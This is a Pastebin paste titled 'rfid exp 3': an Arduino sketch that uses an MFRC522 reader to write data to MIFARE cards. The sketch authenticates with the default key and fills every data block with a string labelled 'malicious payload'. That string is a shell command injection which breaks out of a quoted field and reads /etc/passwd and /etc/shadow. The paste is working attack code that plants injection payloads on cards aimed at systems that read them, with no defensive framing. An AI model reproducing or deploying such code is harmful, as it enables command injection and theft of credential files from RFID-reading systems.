Advertisement
mehularora810

rfid exp 3

Apr 9th, 2025
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <MFRC522v2.h>
  2. #include <MFRC522DriverSPI.h>
  3. #include <MFRC522DriverPinSimple.h>
  4. #include <MFRC522Debug.h>
  5.  
  6. // Create driver instance
  7. MFRC522DriverPinSimple ss_pin(5); // SDA/SS pin
  8. MFRC522DriverSPI driver{ss_pin};  // Create SPI driver
  9. MFRC522 mfrc522{driver};          // Create MFRC522 instance
  10.  
  11. // The malicious payload we want to write
  12. const char* malicious_payload = "\"; cat /etc/passwd; cat /etc/shadow; ls -la; echo \"";
  13. const int TOTAL_BYTES = 1024;      // Total bytes to write
  14. const int BLOCK_SIZE = 16;         // MIFARE block size (16 bytes data)
  15. const int BLOCK_SIZE_WITH_CRC = 18; // Block size including CRC (16 + 2)
  16. const int BLOCKS_TO_WRITE = TOTAL_BYTES / BLOCK_SIZE; // 64 blocks
  17.  
  18. void setup() {
  19.   Serial.begin(115200);
  20.   while (!Serial); // Wait for serial to initialize
  21.  
  22.   Serial.println("Initializing RFID Reader...");
  23.  
  24.   // Initialize the RC522
  25.   mfrc522.PCD_Init();
  26.  
  27.   // Print RC522 firmware version
  28.   MFRC522Debug::PCD_DumpVersionToSerial(mfrc522, Serial);
  29.  
  30.   Serial.println("RFID Reader Ready");
  31.   Serial.println("Place a card near the reader...");
  32. }
  33.  
  34. void writeBlock(byte block, byte* data) {
  35.   MFRC522::StatusCode status;
  36.   byte trailerBlock = (block / 4) * 4 + 3; // Calculate trailer block for this sector
  37.  
  38.   // Authenticate using key A
  39.   MFRC522::MIFARE_Key keyA;
  40.   for (byte i = 0; i < 6; i++) {
  41.     keyA.keyByte[i] = 0xFF;
  42.   }
  43.  
  44.   status = mfrc522.PCD_Authenticate(0x60, trailerBlock, &keyA, &(mfrc522.uid));
  45.   if (status != 0) {
  46.     Serial.print("Authentication failed for block ");
  47.     Serial.print(block);
  48.     Serial.print(": ");
  49.     Serial.println(status);
  50.     return;
  51.   }
  52.  
  53.   // Write the data (library handles CRC internally)
  54.   status = mfrc522.MIFARE_Write(block, data, BLOCK_SIZE);
  55.   if (status != 0) {
  56.     Serial.print("Writing failed for block ");
  57.     Serial.print(block);
  58.     Serial.print(": ");
  59.     Serial.println(status);
  60.     return;
  61.   }
  62.  
  63.   // Verify the write
  64.   byte readBuffer[BLOCK_SIZE_WITH_CRC];
  65.   byte size = BLOCK_SIZE_WITH_CRC;
  66.   status = mfrc522.MIFARE_Read(block, readBuffer, &size);
  67.   if (status != 0) {
  68.     Serial.print("Verification read failed for block ");
  69.     Serial.print(block);
  70.     Serial.print(": ");
  71.     Serial.println(status);
  72.     return;
  73.   }
  74.  
  75.   // Compare written and read data
  76.   bool verify = true;
  77.   for (byte i = 0; i < BLOCK_SIZE; i++) {
  78.     if (readBuffer[i] != data[i]) {
  79.       verify = false;
  80.       break;
  81.     }
  82.   }
  83.  
  84.   if (!verify) {
  85.     Serial.print("Data verification failed for block ");
  86.     Serial.println(block);
  87.   }
  88. }
  89.  
  90. void loop() {
  91.   // Reset the loop if no new card present on the sensor/reader
  92.   if (!mfrc522.PICC_IsNewCardPresent()) {
  93.     return;
  94.   }
  95.  
  96.   // Verify if the NUID has been read
  97.   if (!mfrc522.PICC_ReadCardSerial()) {
  98.     return;
  99.   }
  100.  
  101.   Serial.println("Card detected!");
  102.  
  103.   // Print card type
  104.   MFRC522::PICC_Type piccType = mfrc522.PICC_GetType(mfrc522.uid.sak);
  105.   Serial.print("Card type: ");
  106.   Serial.println(piccType);
  107.  
  108.   // Print UID
  109.   Serial.print("UID: ");
  110.   for (byte i = 0; i < mfrc522.uid.size; i++) {
  111.     Serial.print(mfrc522.uid.uidByte[i] < 0x10 ? " 0" : " ");
  112.     Serial.print(mfrc522.uid.uidByte[i], HEX);
  113.   }
  114.   Serial.println();
  115.  
  116.   // Prepare the full 1024-byte payload
  117.   byte fullPayload[TOTAL_BYTES];
  118.   memset(fullPayload, 0, TOTAL_BYTES);
  119.  
  120.   // Copy the malicious payload to the start
  121.   size_t payloadLength = strlen(malicious_payload);
  122.   size_t copyLength = (payloadLength < TOTAL_BYTES) ? payloadLength : TOTAL_BYTES;
  123.   memcpy(fullPayload, malicious_payload, copyLength);
  124.  
  125.   // Pad the rest with zeros
  126.   for (int i = copyLength; i < TOTAL_BYTES; i++) {
  127.     fullPayload[i] = 0;
  128.   }
  129.  
  130.   // Write all blocks
  131.   for (int block = 0; block < BLOCKS_TO_WRITE; block++) {
  132.     if (block % 4 == 3) continue; // Skip trailer blocks
  133.     writeBlock(block, &fullPayload[block * BLOCK_SIZE]);
  134.     Serial.print("Written block ");
  135.     Serial.println(block);
  136.   }
  137.  
  138.   Serial.println("Data written successfully!");
  139.  
  140.   // Halt PICC
  141.   mfrc522.PICC_HaltA();
  142.   // Stop encryption on PCD
  143.   mfrc522.PCD_StopCrypto1();
  144. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement